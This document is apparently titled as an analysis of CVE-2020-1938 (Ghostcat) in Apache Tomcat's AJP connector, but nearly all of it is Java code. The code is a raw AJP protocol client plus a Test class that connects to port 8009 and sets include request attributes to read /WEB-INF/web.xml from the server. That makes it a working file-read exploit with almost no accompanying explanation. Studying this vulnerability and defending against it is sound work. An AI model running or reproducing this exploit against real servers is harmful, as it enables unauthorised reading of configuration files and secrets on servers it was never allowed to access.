Apache AJP 协议 CVE-2020-1938 漏洞分析

``` sh  if [ -z "$JPDA_ADDRESS" ]; then    JPDA_ADDRESS="localhost:5005"  fi```

``` shsh catalina.sh jpda start```

``` javafile:TesterAjpMessage.java
package com.glassy.utility;
import java.util.ArrayList;import java.util.LinkedHashMap;import java.util.List;import java.util.Map;import java.util.Map.Entry;import org.apache.coyote.ajp.AjpMessage;import org.apache.coyote.ajp.Constants;import org.apache.juli.logging.Log;import org.apache.juli.logging.LogFactory;
public class TesterAjpMessage extends AjpMessage {    private final Map<String, String> attribute = new LinkedHashMap();    private final List<Header> headers = new ArrayList();    private static final Log log = LogFactory.getLog(AjpMessage.class);
    private static class Header {        private final int code;        private final String name;        private final String value;
        public Header(int code, String value) {            this.code = code;            this.name = null;            this.value = value;        }
        public Header(String name, String value) {            this.code = 0;            this.name = name;            this.value = value;        }
        public void append(TesterAjpMessage message) {            if (this.code == 0) {                message.appendString(this.name);            } else {                message.appendInt(this.code);            }            message.appendString(this.value);        }    }
    public TesterAjpMessage(int packetSize) {        super(packetSize);    }
    public byte[] raw() {        return this.buf;    }
    public void appendString(String str) {        if (str == null) {            log.error(sm.getString("ajpmessage.null"), new NullPointerException());            this.appendInt(0);            this.appendByte(0);        } else {            int len = str.length();            this.appendInt(len);
            for(int i = 0; i < len; ++i) {                char c = str.charAt(i);                if (c <= 31 && c != 't' || c == 127 || c > 255) {                    c = ' ';                }
                this.appendByte(c);            }
            this.appendByte(0);        }    }
    public byte readByte() {        byte[] bArr = this.buf;        int i = this.pos;        this.pos = i + 1;        return bArr[i];    }
    public int readInt() {        byte[] bArr = this.buf;        int i = this.pos;        this.pos = i + 1;        int val = (bArr[i] & 255) << 8;        bArr = this.buf;        i = this.pos;        this.pos = i + 1;        return val + (bArr[i] & 255);    }
    public String readString() {        return readString(readInt());    }
    public String readString(int len) {        StringBuilder buffer = new StringBuilder(len);        for (int i = 0; i < len; i++) {            byte[] bArr = this.buf;            int i2 = this.pos;            this.pos = i2 + 1;            buffer.append((char) bArr[i2]);        }        readByte();        return buffer.toString();    }
    public String readHeaderName() {        byte b = readByte();        if ((b & 255) == 160) {            return Constants.getResponseHeaderForCode(readByte());        }        return readString(((b & 255) << 8) + (getByte() & 255));    }
    public void addHeader(int code, String value) {        this.headers.add(new Header(code, value));    }
    public void addHeader(String name, String value) {        this.headers.add(new Header(name, value));    }
    public void addAttribute(String name, String value) {        this.attribute.put(name, value);    }
    public void end() {        appendInt(this.headers.size());        for (Header header : this.headers) {            header.append(this);        }        for (Entry<String, String> entry : this.attribute.entrySet()) {            appendByte(10);            appendString((String) entry.getKey());            appendString((String) entry.getValue());        }        appendByte(255);        this.len = this.pos;        int dLen = this.len - 4;        this.buf[0] = (byte) 18;        this.buf[1] = (byte) 52;        this.buf[2] = (byte) ((dLen >>> 8) & 255);        this.buf[3] = (byte) (dLen & 255);    }
    public void reset() {        super.reset();        this.headers.clear();    }}
```

``` javafile:SimpleAjpClient.java
import java.io.IOException;import java.io.InputStream;import java.net.Socket;import java.util.Arrays;import javax.net.SocketFactory;
public class SimpleAjpClient {    private static final byte[] AJP_CPING;    private static final int AJP_PACKET_SIZE = 8192;    private String host = "localhost";    private int port = -1;    private Socket socket = null;
    static {        TesterAjpMessage ajpCping = new TesterAjpMessage(16);        ajpCping.reset();        ajpCping.appendByte(10);        ajpCping.end();        AJP_CPING = new byte[ajpCping.getLen()];        System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0, ajpCping.getLen());    }
    public int getPort() {        return this.port;    }
    public void connect(String host, int port) throws IOException {        this.host = host;        this.port = port;        this.socket = SocketFactory.getDefault().createSocket(host, port);    }
    public void disconnect() throws IOException {        this.socket.close();        this.socket = null;    }
    public TesterAjpMessage createForwardMessage(String url) {        return createForwardMessage(url, 2);    }
    public TesterAjpMessage createForwardMessage(String url, int method) {        TesterAjpMessage message = new TesterAjpMessage(8192);        message.reset();        message.getBuffer()[0] = (byte) 18;        message.getBuffer()[1] = (byte) 52;        message.appendByte(2);        message.appendByte(method);        message.appendString("http");        message.appendString(url);        message.appendString("10.0.0.1");        message.appendString("client.dev.local");        message.appendString(this.host);        message.appendInt(this.port);        message.appendByte(0);        return message;    }
    public TesterAjpMessage createBodyMessage(byte[] data) {        TesterAjpMessage message = new TesterAjpMessage(8192);        message.reset();        message.getBuffer()[0] = (byte) 18;        message.getBuffer()[1] = (byte) 52;        message.appendBytes(data, 0, data.length);        message.end();        return message;    }
    public void sendMessage(TesterAjpMessage headers) throws IOException {        sendMessage(headers, null);    }
    public void sendMessage(TesterAjpMessage headers, TesterAjpMessage body) throws IOException {        this.socket.getOutputStream().write(headers.getBuffer(), 0, headers.getLen());        if (body != null) {            this.socket.getOutputStream().write(body.getBuffer(), 0, body.getLen());        }    }
    public byte[] readMessage() throws IOException {        InputStream is = this.socket.getInputStream();        TesterAjpMessage message = new TesterAjpMessage(8192);        byte[] buf = message.getBuffer();        int headerLength = message.getHeaderLength();        read(is, buf, 0, headerLength);        int messageLength = message.processHeader(false);        if (messageLength < 0) {            throw new IOException("Invalid AJP message length");        } else if (messageLength == 0) {            return null;        } else {            if (messageLength > buf.length) {                throw new IllegalArgumentException("Message too long [" + Integer.valueOf(messageLength) + "] for buffer length [" + Integer.valueOf(buf.length) + "]");            }            read(is, buf, headerLength, messageLength);            return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength);        }    }
    protected boolean read(InputStream is, byte[] buf, int pos, int n) throws IOException {        int read = 0;        while (read < n) {            int res = is.read(buf, read + pos, n - read);            if (res > 0) {                read += res;            } else {                throw new IOException("Read failed");            }        }        return true;    }}
```

``` javafile:Test.java
import com.glassy.utility.SimpleAjpClient;import com.glassy.utility.TesterAjpMessage;
import java.io.IOException;import javax.servlet.RequestDispatcher;
public class Test {    public static void main(String[] args) throws IOException {        SimpleAjpClient ac = new SimpleAjpClient();        String host = "localhost";        int port = 8009;        String uri = "/aaa.jsp";        String file = "/WEB-INF/web.xml";        ac.connect(host, port);        TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file);        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");        forwardMessage.end();        ac.sendMessage(forwardMessage);        while (true) {            byte[] responseBody = ac.readMessage();            if (responseBody == null || responseBody.length == 0) {                ac.disconnect();            } else {                System.out.print(new String(responseBody));            }        }    }}```